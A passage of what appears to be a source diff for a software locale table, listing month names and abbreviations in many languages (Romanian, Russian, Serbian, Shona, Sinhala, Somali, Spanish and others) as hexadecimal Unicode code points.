0x20, -0x4b, 0x75, 0x72, 0x20, 0x4e, 0x61, 0x62, 0x61, 0x3b, 0x50, 0x65, 0x6e, 0x20, 0x4b, 0x75, 0x72, 0x20, 0x4e, 0x61, 0x74, -0x61, 0x74, 0x3b, 0x41, 0x331, 0x79, 0x72, 0x3b, 0x41, 0x331, 0x68, 0x77, 0x3b, 0x41, 0x331, 0x74, 0x61, 0x3b, 0x41, 0x331, -0x6e, 0x61, 0x3b, 0x41, 0x331, 0x70, 0x66, 0x3b, 0x41, 0x331, 0x6b, 0x69, 0x3b, 0x41, 0x331, 0x74, 0x79, 0x3b, 0x41, 0x331, -0x6e, 0x69, 0x3b, 0x41, 0x331, 0x6b, 0x75, 0x3b, 0x53, 0x77, 0x61, 0x3b, 0x53, 0x62, 0x79, 0x3b, 0x53, 0x62, 0x68, 0x3b, -0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x79, 0x72, 0x6e, 0x69, 0x67, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, -0x41, 0x331, 0x68, 0x77, 0x61, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x74, 0x61, 0x74, 0x3b, 0x48, 0x79, -0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x6e, 0x61, 0x61, 0x69, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x70, -0x66, 0x77, 0x6f, 0x6e, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x6b, 0x69, 0x74, 0x61, 0x74, 0x3b, 0x48, -0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x74, 0x79, 0x69, 0x72, 0x69, 0x6e, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, -0x41, 0x331, 0x6e, 0x69, 0x6e, 0x61, 0x69, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x41, 0x331, 0x6b, 0x75, 0x6d, 0x76, -0x69, 0x72, 0x69, 0x79, 0x69, 0x6e, 0x3b, 0x48, 0x79, 0x77, 0x61, 0x6e, 0x20, 0x53, 0x77, 0x61, 0x6b, 0x3b, 0x48, 0x79, -0x77, 0x61, 0x6e, 0x20, 0x53, 0x77, 0x61, 0x6b, 0x20, 0x42, 0x27, 0x61, 0x331, 0x79, 0x72, 0x6e, 0x69, 0x67, 0x3b, 0x48, -0x79, 0x77, 0x61, 0x6e, 0x20, 0x53, 0x77, 0x61, 0x6b, 0x20, 0x42, 0x27, 0x61, 0x331, 0x68, 0x77, 0x61, 0x3b, 0x5a, 0x65, -0x6e, 0x3b, 0x46, 0x65, 0x76, 0x3b, 0x4d, 0x61, 0x72, 0x3b, 0x41, 0x76, 0x72, 0x3b, 0x4d, 0x61, 0x69, 0x3b, 0x4a, 0x75, -0x67, 0x3b, 0x4c, 0x75, 0x69, 0x3b, 0x41, 0x76, 0x6f, 0x3b, 0x53, 0x65, 0x74, 0x3b, 0x4f, 0x74, 0x75, 0x3b, 0x4e, 0x6f, -0x76, 0x3b, 0x44, 0x69, 0x63, 0x3b, 0x5a, 0x65, 0x6e, 0xe2, 0x72, 0x3b, 0x46, 0x65, 0x76, 0x72, 0xe2, 0x72, 0x3b, 0x4d, -0x61, 0x72, 0xe7, 0x3b, 0x41, 0x76, 0x72, 0xee, 0x6c, 0x3b, 0x4d, 0x61, 0x69, 0x3b, 0x4a, 0x75, 0x67, 0x6e, 0x3b, 0x4c, -0x75, 0x69, 0x3b, 0x41, 0x76, 0x6f, 0x73, 0x74, 0x3b, 0x53, 0x65, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x4f, 0x74, -0x75, 0x62, 0x61, 0x72, 0x3b, 0x4e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x44, 0x69, 0x63, 0x65, 0x6d, 0x62, -0x61, 0x72, 0x3b, 0x50, 0x68, 0x61, 0x3b, 0x4c, 0x75, 0x68, 0x3b, 0x1e70, 0x68, 0x61, 0x3b, 0x4c, 0x61, 0x6d, 0x3b, 0x53, +0x53, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x5a, 0x3b, 0x46, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x4f, 0x3b, +0x4e, 0x3b, 0x44, 0x3b, 0x69, 0x61, 0x6e, 0x2e, 0x3b, 0x66, 0x65, 0x62, 0x2e, 0x3b, 0x6d, 0x61, 0x72, 0x2e, 0x3b, 0x61, +0x70, 0x72, 0x2e, 0x3b, 0x6d, 0x61, 0x69, 0x3b, 0x69, 0x75, 0x6e, 0x2e, 0x3b, 0x69, 0x75, 0x6c, 0x2e, 0x3b, 0x61, 0x75, +0x67, 0x2e, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x2e, 0x3b, 0x6f, 0x63, 0x74, 0x2e, 0x3b, 0x6e, 0x6f, 0x76, 0x2e, 0x3b, 0x64, +0x65, 0x63, 0x2e, 0x3b, 0x69, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x69, 0x65, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, +0x69, 0x65, 0x3b, 0x6d, 0x61, 0x72, 0x74, 0x69, 0x65, 0x3b, 0x61, 0x70, 0x72, 0x69, 0x6c, 0x69, 0x65, 0x3b, 0x6d, 0x61, +0x69, 0x3b, 0x69, 0x75, 0x6e, 0x69, 0x65, 0x3b, 0x69, 0x75, 0x6c, 0x69, 0x65, 0x3b, 0x61, 0x75, 0x67, 0x75, 0x73, 0x74, +0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x72, 0x69, 0x65, 0x3b, 0x6f, 0x63, 0x74, 0x6f, 0x6d, 0x62, 0x72, 0x69, +0x65, 0x3b, 0x6e, 0x6f, 0x69, 0x65, 0x6d, 0x62, 0x72, 0x69, 0x65, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x72, 0x69, +0x65, 0x3b, 0x49, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x49, 0x3b, 0x49, 0x3b, 0x41, 0x3b, 0x53, 0x3b, +0x4f, 0x3b, 0x4e, 0x3b, 0x44, 0x3b, 0x44f, 0x43d, 0x432, 0x2e, 0x3b, 0x444, 0x435, 0x432, 0x440, 0x2e, 0x3b, 0x43c, 0x430, 0x440, +0x442, 0x430, 0x3b, 0x430, 0x43f, 0x440, 0x2e, 0x3b, 0x43c, 0x430, 0x44f, 0x3b, 0x438, 0x44e, 0x43d, 0x44f, 0x3b, 0x438, 0x44e, 0x43b, +0x44f, 0x3b, 0x430, 0x432, 0x433, 0x2e, 0x3b, 0x441, 0x435, 0x43d, 0x442, 0x2e, 0x3b, 0x43e, 0x43a, 0x442, 0x2e, 0x3b, 0x43d, 0x43e, +0x44f, 0x431, 0x2e, 0x3b, 0x434, 0x435, 0x43a, 0x2e, 0x3b, 0x44f, 0x43d, 0x432, 0x430, 0x440, 0x44f, 0x3b, 0x444, 0x435, 0x432, 0x440, +0x430, 0x43b, 0x44f, 0x3b, 0x43c, 0x430, 0x440, 0x442, 0x430, 0x3b, 0x430, 0x43f, 0x440, 0x435, 0x43b, 0x44f, 0x3b, 0x43c, 0x430, 0x44f, +0x3b, 0x438, 0x44e, 0x43d, 0x44f, 0x3b, 0x438, 0x44e, 0x43b, 0x44f, 0x3b, 0x430, 0x432, 0x433, 0x443, 0x441, 0x442, 0x430, 0x3b, 0x441, +0x435, 0x43d, 0x442, 0x44f, 0x431, 0x440, 0x44f, 0x3b, 0x43e, 0x43a, 0x442, 0x44f, 0x431, 0x440, 0x44f, 0x3b, 0x43d, 0x43e, 0x44f, 0x431, +0x440, 0x44f, 0x3b, 0x434, 0x435, 0x43a, 0x430, 0x431, 0x440, 0x44f, 0x3b, 0x42f, 0x3b, 0x424, 0x3b, 0x41c, 0x3b, 0x410, 0x3b, 0x41c, +0x3b, 0x418, 0x3b, 0x418, 0x3b, 0x410, 0x3b, 0x421, 0x3b, 0x41e, 0x3b, 0x41d, 0x3b, 0x414, 0x3b, 0x4e, 0x79, 0x65, 0x3b, 0x46, +0x75, 0x6c, 0x3b, 0x4d, 0x62, 0xe4, 0x3b, 0x4e, 0x67, 0x75, 0x3b, 0x42, 0xea, 0x6c, 0x3b, 0x46, 0xf6, 0x6e, 0x3b, 0x4c, +0x65, 0x6e, 0x3b, 0x4b, 0xfc, 0x6b, 0x3b, 0x4d, 0x76, 0x75, 0x3b, 0x4e, 0x67, 0x62, 0x3b, 0x4e, 0x61, 0x62, 0x3b, 0x4b, +0x61, 0x6b, 0x3b, 0x4e, 0x79, 0x65, 0x6e, 0x79, 0x65, 0x3b, 0x46, 0x75, 0x6c, 0x75, 0x6e, 0x64, 0xef, 0x67, 0x69, 0x3b, +0x4d, 0x62, 0xe4, 0x6e, 0x67, 0xfc, 0x3b, 0x4e, 0x67, 0x75, 0x62, 0xf9, 0x65, 0x3b, 0x42, 0xea, 0x6c, 0xe4, 0x77, 0xfc, +0x3b, 0x46, 0xf6, 0x6e, 0x64, 0x6f, 0x3b, 0x4c, 0x65, 0x6e, 0x67, 0x75, 0x61, 0x3b, 0x4b, 0xfc, 0x6b, 0xfc, 0x72, 0xfc, +0x3b, 0x4d, 0x76, 0x75, 0x6b, 0x61, 0x3b, 0x4e, 0x67, 0x62, 0x65, 0x72, 0x65, 0x72, 0x65, 0x3b, 0x4e, 0x61, 0x62, 0xe4, +0x6e, 0x64, 0xfc, 0x72, 0x75, 0x3b, 0x4b, 0x61, 0x6b, 0x61, 0x75, 0x6b, 0x61, 0x3b, 0x4e, 0x3b, 0x46, 0x3b, 0x4d, 0x3b, +0x4e, 0x3b, 0x42, 0x3b, 0x46, 0x3b, 0x4c, 0x3b, 0x4b, 0x3b, 0x4d, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x4b, 0x3b, 0x458, 0x430, +0x43d, 0x3b, 0x444, 0x435, 0x431, 0x3b, 0x43c, 0x430, 0x440, 0x3b, 0x430, 0x43f, 0x440, 0x3b, 0x43c, 0x430, 0x458, 0x3b, 0x458, 0x443, +0x43d, 0x3b, 0x458, 0x443, 0x43b, 0x3b, 0x430, 0x432, 0x433, 0x3b, 0x441, 0x435, 0x43f, 0x3b, 0x43e, 0x43a, 0x442, 0x3b, 0x43d, 0x43e, +0x432, 0x3b, 0x434, 0x435, 0x446, 0x3b, 0x458, 0x430, 0x43d, 0x443, 0x430, 0x440, 0x3b, 0x444, 0x435, 0x431, 0x440, 0x443, 0x430, 0x440, +0x3b, 0x43c, 0x430, 0x440, 0x442, 0x3b, 0x430, 0x43f, 0x440, 0x438, 0x43b, 0x3b, 0x43c, 0x430, 0x458, 0x3b, 0x458, 0x443, 0x43d, 0x3b, +0x458, 0x443, 0x43b, 0x3b, 0x430, 0x432, 0x433, 0x443, 0x441, 0x442, 0x3b, 0x441, 0x435, 0x43f, 0x442, 0x435, 0x43c, 0x431, 0x430, 0x440, +0x3b, 0x43e, 0x43a, 0x442, 0x43e, 0x431, 0x430, 0x440, 0x3b, 0x43d, 0x43e, 0x432, 0x435, 0x43c, 0x431, 0x430, 0x440, 0x3b, 0x434, 0x435, +0x446, 0x435, 0x43c, 0x431, 0x430, 0x440, 0x3b, 0x458, 0x430, 0x43d, 0x443, 0x430, 0x440, 0x3b, 0x444, 0x435, 0x431, 0x440, 0x443, 0x430, +0x440, 0x3b, 0x43c, 0x430, 0x440, 0x442, 0x3b, 0x430, 0x43f, 0x440, 0x438, 0x43b, 0x3b, 0x43c, 0x430, 0x458, 0x3b, 0x458, 0x443, 0x43d, +0x438, 0x3b, 0x458, 0x443, 0x43b, 0x438, 0x3b, 0x430, 0x432, 0x433, 0x443, 0x441, 0x442, 0x3b, 0x441, 0x435, 0x43f, 0x442, 0x435, 0x43c, +0x431, 0x430, 0x440, 0x3b, 0x43e, 0x43a, 0x442, 0x43e, 0x431, 0x430, 0x440, 0x3b, 0x43d, 0x43e, 0x432, 0x435, 0x43c, 0x431, 0x430, 0x440, +0x3b, 0x434, 0x435, 0x446, 0x435, 0x43c, 0x431, 0x430, 0x440, 0x3b, 0x6a, 0x61, 0x6e, 0x3b, 0x66, 0x65, 0x62, 0x3b, 0x6d, 0x61, +0x72, 0x3b, 0x61, 0x70, 0x72, 0x3b, 0x6d, 0x61, 0x6a, 0x3b, 0x6a, 0x75, 0x6e, 0x3b, 0x6a, 0x75, 0x6c, 0x3b, 0x61, 0x76, +0x67, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, 0x6b, 0x74, 0x3b, 0x6e, 0x6f, 0x76, 0x3b, 0x64, 0x65, 0x63, 0x3b, 0x6a, 0x61, +0x6e, 0x75, 0x61, 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0x61, 0x72, 0x3b, 0x6d, 0x61, 0x72, 0x74, 0x3b, 0x61, 0x70, +0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x61, 0x6a, 0x3b, 0x6a, 0x75, 0x6e, 0x3b, 0x6a, 0x75, 0x6c, 0x3b, 0x61, 0x76, 0x67, 0x75, +0x73, 0x74, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, 0x62, 0x61, 0x72, +0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x61, 0x72, 0x3b, 0x6a, +0x3b, 0x66, 0x3b, 0x6d, 0x3b, 0x61, 0x3b, 0x6d, 0x3b, 0x6a, 0x3b, 0x6a, 0x3b, 0x61, 0x3b, 0x73, 0x3b, 0x6f, 0x3b, 0x6e, +0x3b, 0x64, 0x3b, 0x50, 0x68, 0x65, 0x3b, 0x4b, 0x6f, 0x6c, 0x3b, 0x55, 0x62, 0x65, 0x3b, 0x4d, 0x6d, 0x65, 0x3b, 0x4d, +0x6f, 0x74, 0x3b, 0x4a, 0x61, 0x6e, 0x3b, 0x55, 0x70, 0x75, 0x3b, 0x50, 0x68, 0x61, 0x3b, 0x4c, 0x65, 0x6f, 0x3b, 0x4d, +0x70, 0x68, 0x3b, 0x50, 0x75, 0x6e, 0x3b, 0x54, 0x73, 0x68, 0x3b, 0x50, 0x68, 0x65, 0x73, 0x65, 0x6b, 0x67, 0x6f, 0x6e, +0x67, 0x3b, 0x48, 0x6c, 0x61, 0x6b, 0x6f, 0x6c, 0x61, 0x3b, 0x48, 0x6c, 0x61, 0x6b, 0x75, 0x62, 0x65, 0x6c, 0x65, 0x3b, +0x4d, 0x6d, 0x65, 0x73, 0x65, 0x3b, 0x4d, 0x6f, 0x74, 0x73, 0x68, 0x65, 0x61, 0x6e, 0x6f, 0x6e, 0x67, 0x3b, 0x50, 0x68, +0x75, 0x70, 0x6a, 0x61, 0x6e, 0x65, 0x3b, 0x50, 0x68, 0x75, 0x70, 0x75, 0x3b, 0x50, 0x68, 0x61, 0x74, 0x61, 0x3b, 0x4c, +0x65, 0x6f, 0x74, 0x73, 0x68, 0x65, 0x3b, 0x4d, 0x70, 0x68, 0x61, 0x6c, 0x61, 0x6e, 0x65, 0x3b, 0x50, 0x75, 0x6e, 0x64, +0x75, 0x6e, 0x67, 0x77, 0x61, 0x6e, 0x65, 0x3b, 0x54, 0x73, 0x68, 0x69, 0x74, 0x77, 0x65, 0x3b, 0x46, 0x65, 0x72, 0x3b, +0x54, 0x6c, 0x68, 0x3b, 0x4d, 0x6f, 0x70, 0x3b, 0x4d, 0x6f, 0x72, 0x3b, 0x4d, 0x6f, 0x74, 0x3b, 0x53, 0x65, 0x65, 0x3b, +0x50, 0x68, 0x75, 0x3b, 0x50, 0x68, 0x61, 0x3b, 0x4c, 0x77, 0x65, 0x3b, 0x44, 0x69, 0x70, 0x3b, 0x4e, 0x67, 0x77, 0x3b, +0x53, 0x65, 0x64, 0x3b, 0x46, 0x65, 0x72, 0x69, 0x6b, 0x67, 0x6f, 0x6e, 0x67, 0x3b, 0x54, 0x6c, 0x68, 0x61, 0x6b, 0x6f, +0x6c, 0x65, 0x3b, 0x4d, 0x6f, 0x70, 0x69, 0x74, 0x6c, 0x6f, 0x3b, 0x4d, 0x6f, 0x72, 0x61, 0x6e, 0x61, 0x6e, 0x67, 0x3b, +0x4d, 0x6f, 0x74, 0x73, 0x68, 0x65, 0x67, 0x61, 0x6e, 0x61, 0x6e, 0x67, 0x3b, 0x53, 0x65, 0x65, 0x74, 0x65, 0x62, 0x6f, +0x73, 0x69, 0x67, 0x6f, 0x3b, 0x50, 0x68, 0x75, 0x6b, 0x77, 0x69, 0x3b, 0x50, 0x68, 0x61, 0x74, 0x77, 0x65, 0x3b, 0x4c, +0x77, 0x65, 0x74, 0x73, 0x65, 0x3b, 0x44, 0x69, 0x70, 0x68, 0x61, 0x6c, 0x61, 0x6e, 0x65, 0x3b, 0x4e, 0x67, 0x77, 0x61, +0x6e, 0x61, 0x74, 0x73, 0x65, 0x6c, 0x65, 0x3b, 0x53, 0x65, 0x64, 0x69, 0x6d, 0x6f, 0x6e, 0x74, 0x68, 0x6f, 0x6c, 0x65, +0x3b, 0x4e, 0x64, 0x69, 0x3b, 0x4b, 0x75, 0x6b, 0x3b, 0x4b, 0x75, 0x72, 0x3b, 0x4b, 0x75, 0x62, 0x3b, 0x43, 0x68, 0x69, +0x3b, 0x43, 0x68, 0x69, 0x3b, 0x43, 0x68, 0x69, 0x3b, 0x4e, 0x79, 0x61, 0x3b, 0x47, 0x75, 0x6e, 0x3b, 0x47, 0x75, 0x6d, +0x3b, 0x4d, 0x62, 0x3b, 0x5a, 0x76, 0x69, 0x3b, 0x4e, 0x64, 0x69, 0x72, 0x61, 0x3b, 0x4b, 0x75, 0x6b, 0x61, 0x64, 0x7a, +0x69, 0x3b, 0x4b, 0x75, 0x72, 0x75, 0x6d, 0x65, 0x3b, 0x4b, 0x75, 0x62, 0x76, 0x75, 0x6d, 0x62, 0x69, 0x3b, 0x43, 0x68, +0x69, 0x76, 0x61, 0x62, 0x76, 0x75, 0x3b, 0x43, 0x68, 0x69, 0x6b, 0x75, 0x6d, 0x69, 0x3b, 0x43, 0x68, 0x69, 0x6b, 0x75, +0x6e, 0x67, 0x75, 0x72, 0x75, 0x3b, 0x4e, 0x79, 0x61, 0x6d, 0x61, 0x76, 0x68, 0x75, 0x76, 0x68, 0x75, 0x3b, 0x47, 0x75, +0x6e, 0x79, 0x61, 0x6e, 0x61, 0x3b, 0x47, 0x75, 0x6d, 0x69, 0x67, 0x75, 0x72, 0x75, 0x3b, 0x4d, 0x62, 0x75, 0x64, 0x7a, +0x69, 0x3b, 0x5a, 0x76, 0x69, 0x74, 0x61, 0x3b, 0x4e, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x43, 0x3b, 0x43, 0x3b, +0x43, 0x3b, 0x4e, 0x3b, 0x47, 0x3b, 0x47, 0x3b, 0x4d, 0x3b, 0x5a, 0x3b, 0xda2, 0xdb1, 0x3b, 0xdb4, 0xdd9, 0xdb6, 0x3b, 0xdb8, +0xdcf, 0xdbb, 0xdca, 0xdad, 0x3b, 0xd85, 0xdb4, 0xdca, 0x200d, 0xdbb, 0xdda, 0xdbd, 0x3b, 0xdb8, 0xdd0, 0xdba, 0x3b, 0xda2, 0xdd6, 0xdb1, +0x3b, 0xda2, 0xdd6, 0xdbd, 0x3b, 0xd85, 0xd9c, 0xddd, 0x3b, 0xdc3, 0xdd0, 0xdb4, 0x3b, 0xd94, 0xd9a, 0x3b, 0xdb1, 0xddc, 0xdc0, 0xdd0, +0x3b, 0xdaf, 0xdd9, 0xdc3, 0xdd0, 0x3b, 0xda2, 0xdb1, 0xdc0, 0xdcf, 0xdbb, 0x3b, 0xdb4, 0xdd9, 0xdb6, 0xdbb, 0xdc0, 0xdcf, 0xdbb, 0x3b, +0xdb8, 0xdcf, 0xdbb, 0xdca, 0xdad, 0x3b, 0xd85, 0xdb4, 0xdca, 0x200d, 0xdbb, 0xdda, 0xdbd, 0xdca, 0x3b, 0xdb8, 0xdd0, 0xdba, 0xdd2, 0x3b, +0xda2, 0xdd6, 0xdb1, 0x3b, 0xda2, 0xdd6, 0xdbd, 0xdd2, 0x3b, 0xd85, 0xd9c, 0xddd, 0xdc3, 0xdca, 0xdad, 0xdd4, 0x3b, 0xdc3, 0xdd0, 0xdb4, +0xdca, 0xdad, 0xdd0, 0xdb8, 0xdca, 0xdb6, 0xdbb, 0xdca, 0x3b, 0xd94, 0xd9a, 0xdca, 0xdad, 0xddd, 0xdb6, 0xdbb, 0xdca, 0x3b, 0xdb1, 0xddc, +0xdc0, 0xdd0, 0xdb8, 0xdca, 0xdb6, 0xdbb, 0xdca, 0x3b, 0xdaf, 0xdd9, 0xdc3, 0xdd0, 0xdb8, 0xdca, 0xdb6, 0xdbb, 0xdca, 0x3b, 0xda2, 0x3b, +0xdb4, 0xdd9, 0x3b, 0xdb8, 0xdcf, 0x3b, 0xd85, 0x3b, 0xdb8, 0xdd0, 0x3b, 0xda2, 0xdd6, 0x3b, 0xda2, 0xdd6, 0x3b, 0xd85, 0x3b, 0xdc3, +0xdd0, 0x3b, 0xd94, 0x3b, 0xdb1, 0xddc, 0x3b, 0xdaf, 0xdd9, 0x3b, 0x42, 0x68, 0x69, 0x3b, 0x56, 0x61, 0x6e, 0x3b, 0x56, 0x6f, +0x6c, 0x3b, 0x4d, 0x61, 0x62, 0x3b, 0x4e, 0x6b, 0x68, 0x3b, 0x4e, 0x68, 0x6c, 0x3b, 0x4b, 0x68, 0x6f, 0x3b, 0x4e, 0x67, +0x63, 0x3b, 0x4e, 0x79, 0x6f, 0x3b, 0x4d, 0x70, 0x68, 0x3b, 0x4c, 0x77, 0x65, 0x3b, 0x4e, 0x67, 0x6f, 0x3b, 0x42, 0x68, +0x69, 0x6d, 0x62, 0x69, 0x64, 0x76, 0x77, 0x61, 0x6e, 0x65, 0x3b, 0x69, 0x4e, 0x64, 0x6c, 0x6f, 0x76, 0x61, 0x6e, 0x61, +0x3b, 0x69, 0x4e, 0x64, 0x6c, 0x6f, 0x76, 0x75, 0x2d, 0x6c, 0x65, 0x6e, 0x6b, 0x68, 0x75, 0x6c, 0x75, 0x3b, 0x4d, 0x61, +0x62, 0x61, 0x73, 0x61, 0x3b, 0x69, 0x4e, 0x6b, 0x68, 0x77, 0x65, 0x6b, 0x68, 0x77, 0x65, 0x74, 0x69, 0x3b, 0x69, 0x4e, +0x68, 0x6c, 0x61, 0x62, 0x61, 0x3b, 0x4b, 0x68, 0x6f, 0x6c, 0x77, 0x61, 0x6e, 0x65, 0x3b, 0x69, 0x4e, 0x67, 0x63, 0x69, +0x3b, 0x69, 0x4e, 0x79, 0x6f, 0x6e, 0x69, 0x3b, 0x69, 0x4d, 0x70, 0x68, 0x61, 0x6c, 0x61, 0x3b, 0x4c, 0x77, 0x65, 0x74, +0x69, 0x3b, 0x69, 0x4e, 0x67, 0x6f, 0x6e, 0x67, 0x6f, 0x6e, 0x69, 0x3b, 0x6a, 0x61, 0x6e, 0x3b, 0x66, 0x65, 0x62, 0x3b, +0x6d, 0x61, 0x72, 0x3b, 0x61, 0x70, 0x72, 0x3b, 0x6d, 0xe1, 0x6a, 0x3b, 0x6a, 0xfa, 0x6e, 0x3b, 0x6a, 0xfa, 0x6c, 0x3b, +0x61, 0x75, 0x67, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, 0x6b, 0x74, 0x3b, 0x6e, 0x6f, 0x76, 0x3b, 0x64, 0x65, 0x63, 0x3b, +0x6a, 0x61, 0x6e, 0x75, 0xe1, 0x72, 0x61, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x75, 0xe1, 0x72, 0x61, 0x3b, 0x6d, 0x61, 0x72, +0x63, 0x61, 0x3b, 0x61, 0x70, 0x72, 0xed, 0x6c, 0x61, 0x3b, 0x6d, 0xe1, 0x6a, 0x61, 0x3b, 0x6a, 0xfa, 0x6e, 0x61, 0x3b, +0x6a, 0xfa, 0x6c, 0x61, 0x3b, 0x61, 0x75, 0x67, 0x75, 0x73, 0x74, 0x61, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, +0x72, 0x61, 0x3b, 0x6f, 0x6b, 0x74, 0xf3, 0x62, 0x72, 0x61, 0x3b, 0x6e, 0x6f, 0x76, 0x65, 0x6d, 0x62, 0x72, 0x61, 0x3b, +0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x72, 0x61, 0x3b, 0x6a, 0x61, 0x6e, 0x75, 0x61, 0x72, 0x3b, 0x66, 0x65, 0x62, 0x72, +0x75, 0x61, 0x72, 0x3b, 0x6d, 0x61, 0x72, 0x65, 0x63, 0x3b, 0x61, 0x70, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x61, 0x6a, 0x3b, +0x6a, 0x75, 0x6e, 0x69, 0x6a, 0x3b, 0x6a, 0x75, 0x6c, 0x69, 0x6a, 0x3b, 0x61, 0x76, 0x67, 0x75, 0x73, 0x74, 0x3b, 0x73, +0x65, 0x70, 0x74, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x6f, 0x6b, 0x74, 0x6f, 0x62, 0x65, 0x72, 0x3b, 0x6e, 0x6f, 0x76, +0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x64, 0x65, 0x63, 0x65, 0x6d, 0x62, 0x65, 0x72, 0x3b, 0x4b, 0x6f, 0x62, 0x3b, 0x4c, +0x61, 0x62, 0x3b, 0x53, 0x61, 0x64, 0x3b, 0x41, 0x66, 0x72, 0x3b, 0x53, 0x68, 0x61, 0x3b, 0x4c, 0x69, 0x78, 0x3b, 0x54, +0x6f, 0x64, 0x3b, 0x53, 0x69, 0x64, 0x3b, 0x53, 0x61, 0x67, 0x3b, 0x54, 0x6f, 0x62, 0x3b, 0x4b, 0x49, 0x54, 0x3b, 0x4c, +0x49, 0x54, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x4b, 0x6f, 0x6f, 0x62, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, +0x68, 0x61, 0x20, 0x4c, 0x61, 0x62, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x53, 0x61, 0x64, 0x64, +0x65, 0x78, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x41, 0x66, 0x72, 0x61, 0x61, 0x64, 0x3b, 0x42, +0x69, 0x73, 0x68, 0x61, 0x20, 0x53, 0x68, 0x61, 0x6e, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x4c, +0x69, 0x78, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x54, 0x6f, 0x64, 0x6f, 0x62, 0x61, 0x61, 0x64, +0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x53, 0x69, 0x64, 0x65, 0x65, 0x64, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, +0x68, 0x61, 0x20, 0x53, 0x61, 0x67, 0x61, 0x61, 0x6c, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x54, +0x6f, 0x62, 0x6e, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x4b, 0x6f, 0x77, 0x20, 0x69, 0x79, 0x6f, +0x20, 0x54, 0x6f, 0x62, 0x6e, 0x61, 0x61, 0x64, 0x3b, 0x42, 0x69, 0x73, 0x68, 0x61, 0x20, 0x4c, 0x61, 0x62, 0x61, 0x20, +0x69, 0x79, 0x6f, 0x20, 0x54, 0x6f, 0x62, 0x6e, 0x61, 0x61, 0x64, 0x3b, 0x4b, 0x3b, 0x4c, 0x3b, 0x53, 0x3b, 0x41, 0x3b, +0x53, 0x3b, 0x4c, 0x3b, 0x54, 0x3b, 0x53, 0x3b, 0x53, 0x3b, 0x54, 0x3b, 0x4b, 0x3b, 0x4c, 0x3b, 0x65, 0x6e, 0x65, 0x3b, +0x66, 0x65, 0x62, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x61, 0x62, 0x72, 0x3b, 0x6d, 0x61, 0x79, 0x3b, 0x6a, 0x75, 0x6e, 0x3b, +0x6a, 0x75, 0x6c, 0x3b, 0x61, 0x67, 0x6f, 0x3b, 0x73, 0x65, 0x70, 0x3b, 0x6f, 0x63, 0x74, 0x3b, 0x6e, 0x6f, 0x76, 0x3b, +0x64, 0x69, 0x63, 0x3b, 0x65, 0x6e, 0x65, 0x72, 0x6f, 0x3b, 0x66, 0x65, 0x62, 0x72, 0x65, 0x72, 0x6f, 0x3b, 0x6d, 0x61, +0x72, 0x7a, 0x6f, 0x3b, 0x61, 0x62, 0x72, 0x69, 0x6c, 0x3b, 0x6d, 0x61, 0x79, 0x6f, 0x3b, 0x6a, 0x75, 0x6e, 0x69, 0x6f, +0x3b, 0x6a, 0x75, 0x6c, 0x69, 0x6f, 0x3b, 0x61, 0x67, 0x6f, 0x73, 0x74, 0x6f, 0x3b, 0x73, 0x65, 0x70, 0x74, 0x69, 0x65, +0x6d, 0x62, 0x72, 0x65, 0x3b, 0x6f, 0x63, 0x74, 0x75, 0x62, 0x72, 0x65, 0x3b, 